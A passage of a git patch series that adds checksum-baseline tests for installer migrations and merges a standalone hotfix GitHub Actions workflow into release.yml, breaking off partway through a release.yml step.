'2026-05-11-remove-old-hook'); + assert.ok(drift, 'expected drift entry for the applied migration'); + assert.equal(drift.storedChecksum, 'sha256:old-definition'); + assert.equal(drift.currentChecksum, 'sha256:new-definition'); } finally { cleanup(configDir); } @@ -1385,3 +1432,146 @@ test('skips runtime-specific migration records for other runtimes', () => { cleanup(configDir); } }); + +// --------------------------------------------------------------------------- +// Checksum-baseline guardrail (issue #670) +// +// Shipped installer-migration bodies are immutable: editing a released body +// breaks the stored checksum for any user who has already applied that +// migration, which was the root cause of issue #670. +// +// This test locks every shipped migration to its committed checksum so that CI +// catches accidental body edits. When you INTENTIONALLY change the behaviour +// of a migration you must add a NEW fix-forward migration id instead; if for +// some extraordinary reason you truly need to update an existing baseline, add +// the new checksum here with a comment explaining why. +// +// Mechanism: compute each migration's checksum directly via the exported +// migrationChecksum() (scope-independent) and assert it matches the committed +// baseline. This is simpler and more robust than the previous plan()-based +// approach because it doesn't depend on runtime/scope filtering. +// --------------------------------------------------------------------------- +test('shipped installer-migration checksums are locked to a committed baseline (issue #670 guardrail)', () => { + // Committed baseline — update ONLY when adding a new migration or performing an + // extraordinary intentional body change (add a comment explaining why). Editing a + // shipped migration body breaks the stored checksum for everyone who already applied + // it (root cause of #670) — add a NEW fix-forward migration id instead. + const EXPECTED_CHECKSUMS = { + '2026-05-11-first-time-baseline-scan': + 'sha256:4ec58d35b30dbf39cc56e3972146086d8d31861ecd800cf0b37a7aa94fe74c2a', + '2026-05-11-legacy-orphan-files': + 'sha256:e492698748a2436a12a55f0940f539b9bf651d8ffcac6f60cd856a6dabd6788c', + '2026-05-11-codex-legacy-hooks-json': + 'sha256:5ce55294aa02f25758f604a569c899a6d2d060299189f5f447f68d8033157058', + '2026-06-02-rename-get-shit-done-to-gsd-core': + 'sha256:3a9f1d97f64097fb313203d19c6d93a187a38df61dd299afa5eef73e16124e95', + }; + + const { DEFAULT_MIGRATIONS_DIR, migrationChecksum: computeChecksum } = require('../gsd-core/bin/lib/installer-migrations.cjs'); + const migrations = discoverInstallerMigrations({ migrationsDir: DEFAULT_MIGRATIONS_DIR }); + const discoveredIds = new Set(migrations.map((m) => m.id)); + + // No stale baseline entries. + for (const id of Object.keys(EXPECTED_CHECKSUMS)) { + assert.ok(discoveredIds.has(id), + `EXPECTED_CHECKSUMS has a stale entry for '${id}' — that migration no longer exists; remove it`); + } + // Every discovered migration has a committed baseline entry. + for (const id of discoveredIds) { + assert.ok(Object.prototype.hasOwnProperty.call(EXPECTED_CHECKSUMS, id), + `new migration '${id}' has no committed checksum baseline — add it to EXPECTED_CHECKSUMS in tests/installer-migrations.test.cjs`); + } + // Core lock: each shipped migration's current checksum must match its committed baseline, + // computed directly (scope-independent). + for (const m of migrations) { + assert.strictEqual(computeChecksum(m), EXPECTED_CHECKSUMS[m.id], + `'${m.id}' body changed — its checksum drifted from the committed baseline; ` + + `add a NEW fix-forward migration id instead of editing a shipped migration body, ` + + `or intentionally update the baseline in EXPECTED_CHECKSUMS`); + } +}); + +test('reconciles a drifted applied-migration checksum into install state on apply', () => { + const configDir = createTempInstall(); + try { + // Set up: one already-applied migration with a stale checksum, one pending migration + // that will produce an action (so applyInstallerMigrationPlan writes state). + const alreadyAppliedMigration = migrationRecord({ + id: '2026-05-11-already-applied-with-drift', + title: 'Already applied with drift', + description: 'Already applied with drift', + scopes: ['global'], + destructive: false, + plan: () => [], + }); + const pendingMigration = migrationRecord({ + id: '2026-05-11-pending-to-trigger-apply', + title: 'Pending migration', + description: 'Pending migration', + scopes: ['global'], + destructive: true, + plan: () => [ + { + type: 'remove-managed', + relPath: 'hooks/old-hook.js', + reason: 'retiring hook', + ownershipEvidence: 'test fixture manifest-managed hook', + }, + ], + }); + + writeFile(configDir, 'hooks/old-hook.js', 'managed hook\n'); + writeManifest(configDir, { + 'hooks/old-hook.js': sha256('managed hook\n'), + }); + + // Seed install state: alreadyAppliedMigration recorded with a STALE checksum. + writeInstallState(configDir, { + schemaVersion: 1, + appliedMigrations: [ + { + id: alreadyAppliedMigration.id, + appliedAt: '2026-01-01T00:00:00.000Z', + journal: null, + checksum: 'sha256:stale-old', + }, + ], + }); + + const plan = planInstallerMigrations({ + configDir, + migrations: [alreadyAppliedMigration, pendingMigration], + scope: 'global', + now: () => '2026-05-11T00:00:00.000Z', + }); + + // The already-applied migration should appear in checksumDrift. + const drift = plan.checksumDrift.find((d) => d.id === alreadyAppliedMigration.id); + assert.ok(drift, 'expected checksumDrift entry for the already-applied migration'); + assert.equal(drift.storedChecksum, 'sha256:stale-old'); + + // Apply the plan (the pending migration has an action, so this writes state). + applyInstallerMigrationPlan({ + configDir, + plan, + now: () => '2026-05-11T00:00:01.000Z', + }); + + // Re-read install state and assert the stale checksum was reconciled. + const stateAfter = readInstallState(configDir); + const reconciledEntry = stateAfter.appliedMigrations.find( + (entry) => entry.id === alreadyAppliedMigration.id + ); + assert.ok(reconciledEntry, 'expected the already-applied entry to still be in install state'); + const expectedChecksum = migrationChecksum(alreadyAppliedMigration); + assert.strictEqual( + reconciledEntry.checksum, + expectedChecksum, + `expected checksum to be reconciled to current value (${expectedChecksum}), not the stale 'sha256:stale-old'` + ); + assert.notEqual(reconciledEntry.checksum, 'sha256:stale-old', + 'stale checksum must not remain after apply'); + } finally { + cleanup(configDir); + } +}); From e14218a4245d9e7e834cecb5786a4568333a9b6e Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 14:33:06 -0400 Subject: [PATCH 06/94] fix(#676): consolidate hotfix into release.yml (delete standalone hotfix workflow) (#678) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(#676): consolidate hotfix into release.yml; delete standalone hotfix workflow npm allows only one trusted publisher per package and it is release.yml, so the standalone hotfix.yml (token-auth) could never publish via OIDC (ENEEDAUTH on the v1.3.1 finalize). Fold the patch/hotfix path into release.yml — the sole OIDC trusted publisher — and delete hotfix.yml. - validate-version accepts X.Y.Z (Z>0) → hotfix/X.Y.Z + base_tag; rejects rc for hotfixes; X.Y.0 still → release/X.Y.0. - create branches hotfix/X.Y.Z from the base tag with optional auto-cherry-pick (default on) of fix:/chore: from next; release path unchanged. - finalize is branch-agnostic already and publishes @latest via the existing OIDC trusted publisher (no NODE_AUTH_TOKEN). - CONTRIBUTING branching table updated; hotfix.yml removed. Fixes #676 Supersedes #677. Co-Authored-By: Claude Opus 4.8 * fix(#676): add hotfix/patch path to release.yml (OIDC trusted publisher) The companion to the hotfix.yml deletion: release.yml now handles patch versions (X.Y.Z) via hotfix/X.Y.Z branches and publishes @latest through the existing OIDC trusted publisher. CONTRIBUTING branching table updated. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .github/workflows/hotfix.yml | 447 ---------------------------------- .github/workflows/release.yml | 198 ++++++++++++++- CONTRIBUTING.md | 2 +- 3 files changed, 189 insertions(+), 458 deletions(-) delete mode 100644 .github/workflows/hotfix.yml diff --git a/.github/workflows/hotfix.yml b/.github/workflows/hotfix.yml deleted file mode 100644 index f40090446..000000000 --- a/.github/workflows/hotfix.yml +++ /dev/null @@ -1,447 +0,0 @@ -name: Hotfix Release - -# Hotfix flow for X.YY.Z patch releases (Z > 0). -# -# create: -# - Branches hotfix/X.YY.Z from the highest existing vX.YY.* tag (1.27.2 from -# v1.27.1, 1.27.1 from v1.27.0). The base IS the cumulative-fix anchor for -# the previous patch. -# - Auto-cherry-picks every fix:/chore: commit on origin/main that isn't -# already in the base, oldest-first. Patch-equivalents (already applied) -# are skipped via `git cherry`. feat:/refactor: are NEVER auto-included. -# - Conflicts fail the workflow with the offending SHA so the operator can -# resolve manually on the branch and re-run finalize with auto_cherry_pick=false. -# - Step summary lists every included SHA so the eventual vX.YY.Z tag -# self-documents what shipped. -# -# finalize: -# - install-smoke gate (cross-platform parity with release.yml) -# - Publishes to @latest, tags vX.YY.Z, re-points @next → vX.YY.Z, opens -# merge-back PR. - -on: - workflow_dispatch: - inputs: - action: - description: 'Action to perform' - required: true - type: choice - options: - - create - - finalize - version: - description: 'Patch version (e.g., 1.27.1)' - required: true - type: string - auto_cherry_pick: - description: 'Auto-cherry-pick fix:/chore: commits from origin/next (fallback origin/main) since base tag (create only)' - required: false - type: boolean - default: true - dry_run: - description: 'Dry run (skip npm publish, tagging, and push)' - required: false - type: boolean - default: false - -concurrency: - group: hotfix-${{ inputs.version }} - cancel-in-progress: false - -env: - NODE_VERSION: 24 - -jobs: - validate-version: - runs-on: ubuntu-latest - timeout-minutes: 2 - permissions: - contents: read - outputs: - base_tag: ${{ steps.validate.outputs.base_tag }} - branch: ${{ steps.validate.outputs.branch }} - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - fetch-depth: 0 - - - name: Validate version format - id: validate - env: - VERSION: ${{ inputs.version }} - run: | - # Must be X.Y.Z where Z > 0 (patch release) - if ! echo "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[1-9][0-9]*$'; then - echo "::error::Version must be a patch release (e.g., 1.27.1, not 1.28.0)" - exit 1 - fi - MAJOR_MINOR=$(echo "$VERSION" | cut -d. -f1-2) - TARGET_TAG="v${VERSION}" - BRANCH="hotfix/${VERSION}" - # Append TARGET_TAG to the candidate list, then sort -V, then walk the - # sorted list and print whatever immediately precedes TARGET_TAG. This - # is semver-correct for multi-digit patches (v1.27.10 > v1.27.9) where - # a plain `awk '$1 < target'` lexicographic compare would mis-order. - BASE_TAG=$( ( git tag -l "v${MAJOR_MINOR}.*" | grep -E "^v[0-9]+\.[0-9]+\.[0-9]+$"; echo "$TARGET_TAG" ) \ - | sort -V \ - | awk -v target="$TARGET_TAG" '$1 == target { print prev; exit } { prev = $1 }') - if [ -z "$BASE_TAG" ]; then - echo "::error::No prior stable tag found for ${MAJOR_MINOR}.x before $TARGET_TAG" - exit 1 - fi - echo "base_tag=$BASE_TAG" >> "$GITHUB_OUTPUT" - echo "branch=$BRANCH" >> "$GITHUB_OUTPUT" - - create: - needs: validate-version - if: inputs.action == 'create' - runs-on: ubuntu-latest - timeout-minutes: 5 - permissions: - contents: write - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - fetch-depth: 0 - - - uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0 - with: - node-version: ${{ env.NODE_VERSION }} - - - name: Check branch doesn't already exist - env: - BRANCH: ${{ needs.validate-version.outputs.branch }} - run: | - if git ls-remote --exit-code origin "refs/heads/$BRANCH" >/dev/null 2>&1; then - echo "::error::Branch $BRANCH already exists. Delete it first or use finalize." - exit 1 - fi - - - name: Configure git identity - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - - - name: Create hotfix branch from base tag and push (skeleton) - env: - BRANCH: ${{ needs.validate-version.outputs.branch }} - BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} - DRY_RUN: ${{ inputs.dry_run }} - run: | - set -euo pipefail - git checkout -b "$BRANCH" "$BASE_TAG" - # Push the skeleton branch up-front so any subsequent cherry-pick - # conflict leaves a remote artefact the operator can fetch, resolve, - # and re-push. Skipped on dry-run — local checkout still exercises - # the same cherry-pick + bump flow so conflicts are caught. - if [ "$DRY_RUN" != "true" ]; then - git push -u origin "$BRANCH" - fi - - - name: Cherry-pick fix/chore commits from origin/next since base tag - if: ${{ inputs.auto_cherry_pick }} - env: - BRANCH: ${{ needs.validate-version.outputs.branch }} - BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} - DRY_RUN: ${{ inputs.dry_run }} - run: | - set -euo pipefail - - # Under the next-branch model, day-to-day fixes land on `next` first - # and only reach `main` via release back-merge. So `next` is the - # canonical cherry-pick source. Fall back to `main` if `next` doesn't - # exist yet (legacy single-branch repos) or as a transition guard. - if git ls-remote --exit-code origin next >/dev/null 2>&1; then - git fetch origin next:refs/remotes/origin/next - SOURCE="origin/next" - else - git fetch origin main:refs/remotes/origin/main - SOURCE="origin/main" - fi - echo "Cherry-pick source: $SOURCE" - - # `git cherry $BASE_TAG $SOURCE` lists every commit on the source not - # patch-equivalent in BASE_TAG. + means needs picking, - means - # already applied (skipped silently). - CANDIDATES=$(git cherry "$BASE_TAG" "$SOURCE" | awk '/^\+ / {print $2}') - - if [ -z "$CANDIDATES" ]; then - echo "No commits on $SOURCE beyond $BASE_TAG." - echo "## Cherry-pick summary" >> "$GITHUB_STEP_SUMMARY" - echo "" >> "$GITHUB_STEP_SUMMARY" - echo "Base: \`$BASE_TAG\` (source: \`$SOURCE\`) — no commits to consider." >> "$GITHUB_STEP_SUMMARY" - exit 0 - fi - - # Re-order chronologically (oldest first) for predictable application. - ORDERED=$(git log --reverse --format='%H' "$BASE_TAG..$SOURCE" \ - | grep -F -f <(echo "$CANDIDATES") || true) - - INCLUDED="" - SKIPPED="" - while IFS= read -r SHA; do - [ -z "$SHA" ] && continue - SUBJECT=$(git log -1 --format='%s' "$SHA") - # fix: or chore:, optional scope, optional ! breaking marker - if echo "$SUBJECT" | grep -qE '^(fix|chore)(\([^)]+\))?!?: '; then - echo "→ cherry-picking $SHA $SUBJECT" - if ! git cherry-pick -x "$SHA"; then - # Abort restores HEAD to the last successful pick. On real - # runs, push that state so the operator can fetch, resolve - # $SHA manually, and finalize with auto_cherry_pick=false. - git cherry-pick --abort || true - if [ "$DRY_RUN" != "true" ]; then - git push --force-with-lease origin "$BRANCH" || git push origin "$BRANCH" || true - fi - { - echo "## Cherry-pick conflict" - echo "" - echo "Failed at: \`${SHA}\` — \`${SUBJECT}\`" - echo "" - if [ "$DRY_RUN" = "true" ]; then - echo "**Dry run:** branch was not pushed, so the picks below were discarded with the runner." - if [ -n "$INCLUDED" ]; then - echo "" - echo "Already-applied picks (lost — must be re-applied before resolving \`${SHA}\`):" - echo "" - echo "$INCLUDED" - fi - echo "" - echo "**To resolve:** re-run \`create\` with \`auto_cherry_pick=true\` (real, not dry-run) to materialize the partial branch on origin, then resolve \`${SHA}\` manually. Re-running with \`auto_cherry_pick=false\` would recreate the branch from \`${BASE_TAG}\` and lose every pick listed above." - else - echo "Branch \`${BRANCH}\` was pushed with picks applied up to (but not including) the conflicting commit." - echo "" - echo "**To resolve:** \`git fetch origin && git checkout ${BRANCH} && git cherry-pick -x ${SHA}\`, fix the conflict, push, then re-run \`finalize\` with \`auto_cherry_pick=false\`." - fi - } >> "$GITHUB_STEP_SUMMARY" - echo "::error::Cherry-pick of $SHA failed. See summary." - exit 1 - fi - INCLUDED="${INCLUDED}- \`${SHA}\` ${SUBJECT}"$'\n' - else - echo " skip $SHA $SUBJECT (not fix/chore)" - SKIPPED="${SKIPPED}- \`${SHA}\` ${SUBJECT}"$'\n' - fi - done <<< "$ORDERED" - - { - echo "## Cherry-pick summary" - echo "" - echo "Base: \`$BASE_TAG\`" - echo "" - if [ -n "$INCLUDED" ]; then - echo "### Included (fix/chore)" - echo "" - echo "$INCLUDED" - else - echo "_No fix/chore commits to include._" - echo "" - fi - if [ -n "$SKIPPED" ]; then - echo "### Skipped (feat/refactor/etc — not auto-included)" - echo "" - echo "$SKIPPED" - fi - } >> "$GITHUB_STEP_SUMMARY" - - - name: Bump version and push - env: - BRANCH: ${{ needs.validate-version.outputs.branch }} - BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} - VERSION: ${{ inputs.version }} - DRY_RUN: ${{ inputs.dry_run }} - run: | - set -euo pipefail - npm version "$VERSION" --no-git-tag-version - git add package.json package-lock.json - git commit -m "chore: bump version to $VERSION for hotfix" - if [ "$DRY_RUN" != "true" ]; then - git push origin "$BRANCH" - else - echo "DRY RUN — branch not pushed. Local checkout exercised the cherry-pick and bump flow." - fi - { - echo "## Hotfix branch created" - echo "" - echo "- Branch: \`$BRANCH\`" - echo "- Based on: \`$BASE_TAG\`" - echo "- Apply additional manual fixes if needed, then run \`finalize\`." - } >> "$GITHUB_STEP_SUMMARY" - - install-smoke: - needs: validate-version - if: inputs.action == 'finalize' - permissions: - contents: read - uses: ./.github/workflows/install-smoke.yml - with: - ref: ${{ needs.validate-version.outputs.branch }} - - finalize: - needs: [validate-version, install-smoke] - if: inputs.action == 'finalize' - runs-on: ubuntu-latest - timeout-minutes: 15 - permissions: - contents: write - pull-requests: write - id-token: write - environment: npm-publish - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - ref: ${{ needs.validate-version.outputs.branch }} - fetch-depth: 0 - - - uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0 - with: - node-version: ${{ env.NODE_VERSION }} - registry-url: 'https://registry.npmjs.org' - cache: 'npm' - - - name: Configure git identity - run: | - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - - - name: Detect prior publish (reconciliation mode) - id: prior_publish - env: - VERSION: ${{ inputs.version }} - run: | - EXISTING=$(npm view @opengsd/gsd-core@"$VERSION" version 2>/dev/null || true) - if [ -n "$EXISTING" ]; then - echo "::warning::@opengsd/gsd-core@${VERSION} is already on the registry — entering reconciliation mode (skip publish, continue with tag/release/PR/dist-tag)." - echo "skip_publish=true" >> "$GITHUB_OUTPUT" - else - echo "skip_publish=false" >> "$GITHUB_OUTPUT" - fi - - - name: Install and test - run: | - npm ci - npm run test:coverage:unit - - - - name: Dry-run publish validation - env: - NODE_AUTH_TOKEN: ${{ secrets.GETSHITDONEREDUXNPMTOKEN }} - run: npm publish --dry-run --tag latest - - - name: Tag and push - if: ${{ !inputs.dry_run }} - env: - VERSION: ${{ inputs.version }} - run: | - if git rev-parse -q --verify "refs/tags/v${VERSION}" >/dev/null; then - EXISTING_SHA=$(git rev-parse "refs/tags/v${VERSION}") - HEAD_SHA=$(git rev-parse HEAD) - if [ "$EXISTING_SHA" != "$HEAD_SHA" ]; then - echo "::error::Tag v${VERSION} already exists pointing to different commit" - exit 1 - fi - echo "Tag v${VERSION} already exists on current commit; skipping" - else - git tag "v${VERSION}" - git push origin "v${VERSION}" - fi - - - name: Publish to npm (latest) - if: ${{ !inputs.dry_run && steps.prior_publish.outputs.skip_publish != 'true' }} - env: - NODE_AUTH_TOKEN: ${{ secrets.GETSHITDONEREDUXNPMTOKEN }} - run: npm publish --provenance --access public --tag latest - - - name: Re-point next dist-tag at this hotfix - if: ${{ !inputs.dry_run }} - env: - VERSION: ${{ inputs.version }} - NODE_AUTH_TOKEN: ${{ secrets.GETSHITDONEREDUXNPMTOKEN }} - run: | - npm dist-tag add "@opengsd/gsd-core@${VERSION}" next - echo "✅ next dist-tag re-pointed to v${VERSION} (matches latest)" - - - name: Create GitHub Release (idempotent) - if: ${{ !inputs.dry_run }} - env: - GH_TOKEN: ${{ github.token }} - VERSION: ${{ inputs.version }} - run: | - if gh release view "v${VERSION}" >/dev/null 2>&1; then - echo "GitHub Release v${VERSION} already exists; ensuring --latest flag is set" - gh release edit "v${VERSION}" --latest || true - else - gh release create "v${VERSION}" \ - --title "v${VERSION} (hotfix)" \ - --generate-notes \ - --latest - fi - # Reformat the auto-generated notes into the curated - # Install + Feature/Enhancement/Fix format. - node scripts/release-notes/format-github-release-notes.cjs \ - --tag "v${VERSION}" --latest --apply - - - name: Create PR to merge hotfix back to main - if: ${{ !inputs.dry_run }} - env: - GH_TOKEN: ${{ github.token }} - BRANCH: ${{ needs.validate-version.outputs.branch }} - VERSION: ${{ inputs.version }} - run: | - EXISTING_PR=$(gh pr list --base main --head "$BRANCH" --state open --json number --jq '.[0].number') - if [ -n "$EXISTING_PR" ]; then - gh pr edit "$EXISTING_PR" \ - --title "chore: merge hotfix v${VERSION} back to main" \ - --body "Merge hotfix changes back to main after v${VERSION} release." - else - gh pr create \ - --base main \ - --head "$BRANCH" \ - --title "chore: merge hotfix v${VERSION} back to main" \ - --body "Merge hotfix changes back to main after v${VERSION} release." - fi - - - name: Verify publish landed on registry - if: ${{ !inputs.dry_run }} - env: - VERSION: ${{ inputs.version }} - run: | - PUBLISHED="NOT_FOUND" - for delay in 5 10 20 30 45; do - PUBLISHED=$(npm view @opengsd/gsd-core@"$VERSION" version 2>/dev/null || echo "NOT_FOUND") - if [ "$PUBLISHED" = "$VERSION" ]; then - break - fi - echo "Waiting ${delay}s for registry to catch up (saw: $PUBLISHED)..." - sleep "$delay" - done - if [ "$PUBLISHED" != "$VERSION" ]; then - echo "::error::Version $VERSION did not appear on the registry within timeout" - exit 1 - fi - LATEST_VER=$(npm view @opengsd/gsd-core dist-tags.latest 2>/dev/null || echo "NOT_FOUND") - if [ "$LATEST_VER" != "$VERSION" ]; then - echo "::error::dist-tag 'latest' resolves to '$LATEST_VER', expected '$VERSION'" - exit 1 - fi - echo "✓ Verified: @opengsd/gsd-core@$VERSION is live on @latest" - - - name: Summary - env: - VERSION: ${{ inputs.version }} - BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} - DRY_RUN: ${{ inputs.dry_run }} - run: | - { - echo "## Hotfix v${VERSION}" - echo "" - echo "- Base (cumulative-fix anchor): \`${BASE_TAG}\`" - if [ "$DRY_RUN" = "true" ]; then - echo "- **DRY RUN** — npm publish, tagging, and push skipped" - else - echo "- Published to npm as \`latest\`" - echo "- \`next\` dist-tag re-pointed to v${VERSION}" - echo "- Tagged \`v${VERSION}\` (anchor for the next hotfix's cherry-pick base)" - echo "- Merge-back PR opened against main" - fi - } >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 806c694fa..1ac2ca9a6 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -12,9 +12,14 @@ on: - rc - finalize version: - description: 'Version (e.g., 1.28.0 or 2.0.0)' + description: 'Version: X.Y.0 (minor/major) or X.Y.Z with Z>0 (hotfix/patch)' required: true type: string + auto_cherry_pick: + description: 'Hotfix create only: auto-cherry-pick fix:/chore: commits from origin/next (fallback origin/main) since base tag' + required: false + type: boolean + default: true dry_run: description: 'Dry run (skip npm publish, tagging, and push)' required: false @@ -37,6 +42,8 @@ jobs: outputs: branch: ${{ steps.validate.outputs.branch }} is_major: ${{ steps.validate.outputs.is_major }} + is_hotfix: ${{ steps.validate.outputs.is_hotfix }} + base_tag: ${{ steps.validate.outputs.base_tag }} steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: @@ -46,20 +53,44 @@ jobs: id: validate env: VERSION: ${{ inputs.version }} + ACTION: ${{ inputs.action }} run: | - # Must be X.Y.0 (minor or major release, not patch), no leading zeros in any segment - if ! echo "$VERSION" | grep -qE '^(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)\.0$'; then - echo "::error::Version '$VERSION' is invalid. Must be X.Y.0 with no leading zeros (e.g., 1.28.0 or 2.0.0). Use hotfix workflow for patch releases." - exit 1 - fi - BRANCH="release/${VERSION}" - # Detect major (X.0.0) + set -euo pipefail + IS_HOTFIX="false" IS_MAJOR="false" - if echo "$VERSION" | grep -qE '^(0|[1-9][0-9]*)\.0\.0$'; then - IS_MAJOR="true" + BASE_TAG="" + if echo "$VERSION" | grep -qE '^(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)\.0$'; then + # Minor or major release (X.Y.0) + BRANCH="release/${VERSION}" + if echo "$VERSION" | grep -qE '^(0|[1-9][0-9]*)\.0\.0$'; then + IS_MAJOR="true" + fi + elif echo "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[1-9][0-9]*$'; then + # Patch / hotfix release (X.Y.Z, Z>0) + IS_HOTFIX="true" + if [ "$ACTION" = "rc" ]; then + echo "::error::Hotfix (patch) releases skip the rc action — run create, then finalize." + exit 1 + fi + BRANCH="hotfix/${VERSION}" + MAJOR_MINOR=$(echo "$VERSION" | cut -d. -f1-2) + TARGET_TAG="v${VERSION}" + # semver-correct base tag: highest vMAJOR_MINOR.* strictly below TARGET_TAG + BASE_TAG=$( ( git tag -l "v${MAJOR_MINOR}.*" | grep -E "^v[0-9]+\.[0-9]+\.[0-9]+$"; echo "$TARGET_TAG" ) \ + | sort -V \ + | awk -v target="$TARGET_TAG" '$1 == target { print prev; exit } { prev = $1 }') + if [ -z "$BASE_TAG" ]; then + echo "::error::No prior stable tag found for ${MAJOR_MINOR}.x before $TARGET_TAG" + exit 1 + fi + else + echo "::error::Version '$VERSION' is invalid. Use X.Y.0 (minor/major) or X.Y.Z with Z>0 (hotfix), no leading zeros." + exit 1 fi echo "branch=$BRANCH" >> "$GITHUB_OUTPUT" echo "is_major=$IS_MAJOR" >> "$GITHUB_OUTPUT" + echo "is_hotfix=$IS_HOTFIX" >> "$GITHUB_OUTPUT" + echo "base_tag=$BASE_TAG" >> "$GITHUB_OUTPUT" - name: Reject already-published versions env: @@ -103,6 +134,7 @@ jobs: git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - name: Create release branch + if: needs.validate-version.outputs.is_hotfix != 'true' env: BRANCH: ${{ needs.validate-version.outputs.branch }} VERSION: ${{ inputs.version }} @@ -124,6 +156,152 @@ jobs: echo "" >> "$GITHUB_STEP_SUMMARY" echo "Next: run this workflow with \`rc\` action to publish a pre-release to \`next\`" >> "$GITHUB_STEP_SUMMARY" + - name: Create hotfix branch from base tag (skeleton) + if: needs.validate-version.outputs.is_hotfix == 'true' + env: + BRANCH: ${{ needs.validate-version.outputs.branch }} + BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + git checkout -b "$BRANCH" "$BASE_TAG" + # Push the skeleton up-front so a later cherry-pick conflict leaves a + # remote artefact the operator can fetch, resolve, and re-push. + if [ "$DRY_RUN" != "true" ]; then + git push -u origin "$BRANCH" + fi + + - name: Cherry-pick fix/chore commits from origin/next since base tag + if: ${{ needs.validate-version.outputs.is_hotfix == 'true' && inputs.auto_cherry_pick }} + env: + BRANCH: ${{ needs.validate-version.outputs.branch }} + BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + # Under the next-branch model, day-to-day fixes land on `next` first + # and only reach `main` via release back-merge. So `next` is the + # canonical cherry-pick source. Fall back to `main` if `next` doesn't + # exist yet (legacy single-branch repos) or as a transition guard. + if git ls-remote --exit-code origin next >/dev/null 2>&1; then + git fetch origin next:refs/remotes/origin/next + SOURCE="origin/next" + else + git fetch origin main:refs/remotes/origin/main + SOURCE="origin/main" + fi + echo "Cherry-pick source: $SOURCE" + + # `git cherry $BASE_TAG $SOURCE` lists every commit on the source not + # patch-equivalent in BASE_TAG. + means needs picking, - means + # already applied (skipped silently). + CANDIDATES=$(git cherry "$BASE_TAG" "$SOURCE" | awk '/^\+ / {print $2}') + + if [ -z "$CANDIDATES" ]; then + echo "No commits on $SOURCE beyond $BASE_TAG." + echo "## Cherry-pick summary" >> "$GITHUB_STEP_SUMMARY" + echo "" >> "$GITHUB_STEP_SUMMARY" + echo "Base: \`$BASE_TAG\` (source: \`$SOURCE\`) — no commits to consider." >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + # Re-order chronologically (oldest first) for predictable application. + ORDERED=$(git log --reverse --format='%H' "$BASE_TAG..$SOURCE" \ + | grep -F -f <(echo "$CANDIDATES") || true) + + INCLUDED="" + SKIPPED="" + while IFS= read -r SHA; do + [ -z "$SHA" ] && continue + SUBJECT=$(git log -1 --format='%s' "$SHA") + # fix: or chore:, optional scope, optional ! breaking marker + if echo "$SUBJECT" | grep -qE '^(fix|chore)(\([^)]+\))?!?: '; then + echo "→ cherry-picking $SHA $SUBJECT" + if ! git cherry-pick -x "$SHA"; then + # Abort restores HEAD to the last successful pick. On real + # runs, push that state so the operator can fetch, resolve + # $SHA manually, and finalize with auto_cherry_pick=false. + git cherry-pick --abort || true + if [ "$DRY_RUN" != "true" ]; then + git push --force-with-lease origin "$BRANCH" || git push origin "$BRANCH" || true + fi + { + echo "## Cherry-pick conflict" + echo "" + echo "Failed at: \`${SHA}\` — \`${SUBJECT}\`" + echo "" + if [ "$DRY_RUN" = "true" ]; then + echo "**Dry run:** branch was not pushed, so the picks below were discarded with the runner." + if [ -n "$INCLUDED" ]; then + echo "" + echo "Already-applied picks (lost — must be re-applied before resolving \`${SHA}\`):" + echo "" + echo "$INCLUDED" + fi + echo "" + echo "**To resolve:** re-run \`create\` with \`auto_cherry_pick=true\` (real, not dry-run) to materialize the partial branch on origin, then resolve \`${SHA}\` manually. Re-running with \`auto_cherry_pick=false\` would recreate the branch from \`${BASE_TAG}\` and lose every pick listed above." + else + echo "Branch \`${BRANCH}\` was pushed with picks applied up to (but not including) the conflicting commit." + echo "" + echo "**To resolve:** \`git fetch origin && git checkout ${BRANCH} && git cherry-pick -x ${SHA}\`, fix the conflict, push, then re-run \`finalize\` with \`auto_cherry_pick=false\`." + fi + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Cherry-pick of $SHA failed. See summary." + exit 1 + fi + INCLUDED="${INCLUDED}- \`${SHA}\` ${SUBJECT}"$'\n' + else + echo " skip $SHA $SUBJECT (not fix/chore)" + SKIPPED="${SKIPPED}- \`${SHA}\` ${SUBJECT}"$'\n' + fi + done <<< "$ORDERED" + + { + echo "## Cherry-pick summary" + echo "" + echo "Base: \`$BASE_TAG\`" + echo "" + if [ -n "$INCLUDED" ]; then + echo "### Included (fix/chore)" + echo "" + echo "$INCLUDED" + else + echo "_No fix/chore commits to include._" + echo "" + fi + if [ -n "$SKIPPED" ]; then + echo "### Skipped (feat/refactor/etc — not auto-included)" + echo "" + echo "$SKIPPED" + fi + } >> "$GITHUB_STEP_SUMMARY" + + - name: Bump hotfix version and push + if: needs.validate-version.outputs.is_hotfix == 'true' + 